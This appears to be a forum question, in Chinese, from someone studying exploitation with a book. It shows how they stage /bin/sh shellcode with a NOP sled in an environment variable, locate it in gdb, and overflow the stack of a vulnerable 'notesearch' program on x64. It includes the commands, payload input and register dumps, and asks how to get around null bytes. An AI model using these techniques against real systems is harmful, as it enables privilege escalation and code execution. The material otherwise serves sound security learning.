我一直在尝试通过环境变量在计算机上执行Shellcode。我在这里:
[avaxio@parrot]─[~/Desktop/hax]
└──╼ $export SHELLCODE=$(perl -e 'print "\x90"x200')$(cat shellcode.bin)
┌─[avaxio@parrot]─[~/Desktop/hax]
└──╼ $echo $SHELLCODE
��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������1�1�1ə��̀j
XQh//shh/bin��Q��S��̀
然后我发现它在目标程序中的位置:
0x7fffae179437: "SHELLCODE=", '\220' <repeats 190 times>...
0x7fffae1794ff: "\220\220\220\220\220\220\220\220\220\220\061\300\061\333\061ə\260\244̀j\vXQh//shh/bin\211\343Q\211\342S\211\341̀"
0x7fffae17952d: "COLORTERM=truecolor"
之后,我试图通过将地址分配到输入中来引起缓冲区溢出。让我们看一下gdb的结果,因为那里的程序不起作用:
$sudo gdb -q ./notesearch
Reading symbols from ./notesearch...(no debugging symbols found)...done.
(gdb) run $(perl -e 'print "\x4f\x94\x17\xae\xff\x7f"'x20)
Starting program: /home/avaxio/Desktop/hax/notesearch $(perl -e 'print "\x4f\x94\x17\xae\xff\x7f"'x20)
[DEBUG] found a 2 byte note for user id 0
-------[ end of note data ]-------
Program received signal SIGSEGV, Segmentation fault.
0x0000564b323d4455 in main ()
现在,由于出现分段错误,我想查看寄存器的状态,所以我看:
(gdb) i reg
rax 0x0 0
rbx 0x0 0
rcx 0x7fd64a625ec4 140558347689668
rdx 0x7fd64a6f88c0 140558348552384
rsi 0x564b33d27260 94880991965792
rdi 0x3 3
rbp 0x7fffae17944f7fff 0x7fffae17944f7fff
rsp 0x7ffd7e9992a8 0x7ffd7e9992a8
r8 0x7fd64a6fd500 140558348571904
r9 0x5b2d2d2d2d2d2d2d 6569957103458135341
r10 0x0 0
r11 0x246 582
r12 0x564b323d4120 94880965411104
r13 0x7ffd7e999380 140726727447424
r14 0x0 0
r15 0x0 0
rip 0x564b323d4455 0x564b323d4455 <main+179>
eflags 0x10207 [ CF PF IF RF ]
cs 0x33 51
ss 0x2b 43
ds 0x0 0
es 0x0 0
fs 0x0 0
如果我看一下基本指针,我会看到 rbp 0x 7fffae17944f 7fff 0x 7fffae17944f 7fff
这意味着脚本可以正常工作,但是寄存器有两个附加位。在我对该地址发送了20次垃圾邮件之后,结果发现地址的前两位正在溢出寄存器的后两位,这肯定会导致分段错误,因为在0x7fffae17944f7fff上没有数据。
我知道SHELLCODE
变量的地址是0x7fffae1794 37 而不是0x7fffae1794 4f ,我只想更靠近NOP。我试图发送空字节,但事实证明,bash禁止发送空字节,而只是将其忽略。所以我想知道-是否可能对x64体系结构进行此类攻击?也许有一种方法可以使环境变量长8个字节而不是6个字节?或者,也许有一种方法可以在开始时发送空字节,所以我可以得到rbp值,例如0x00007fffae17944f?也许还有其他方法可以做到这一点?这样做只是为了学习,因为我正在从书中学习:)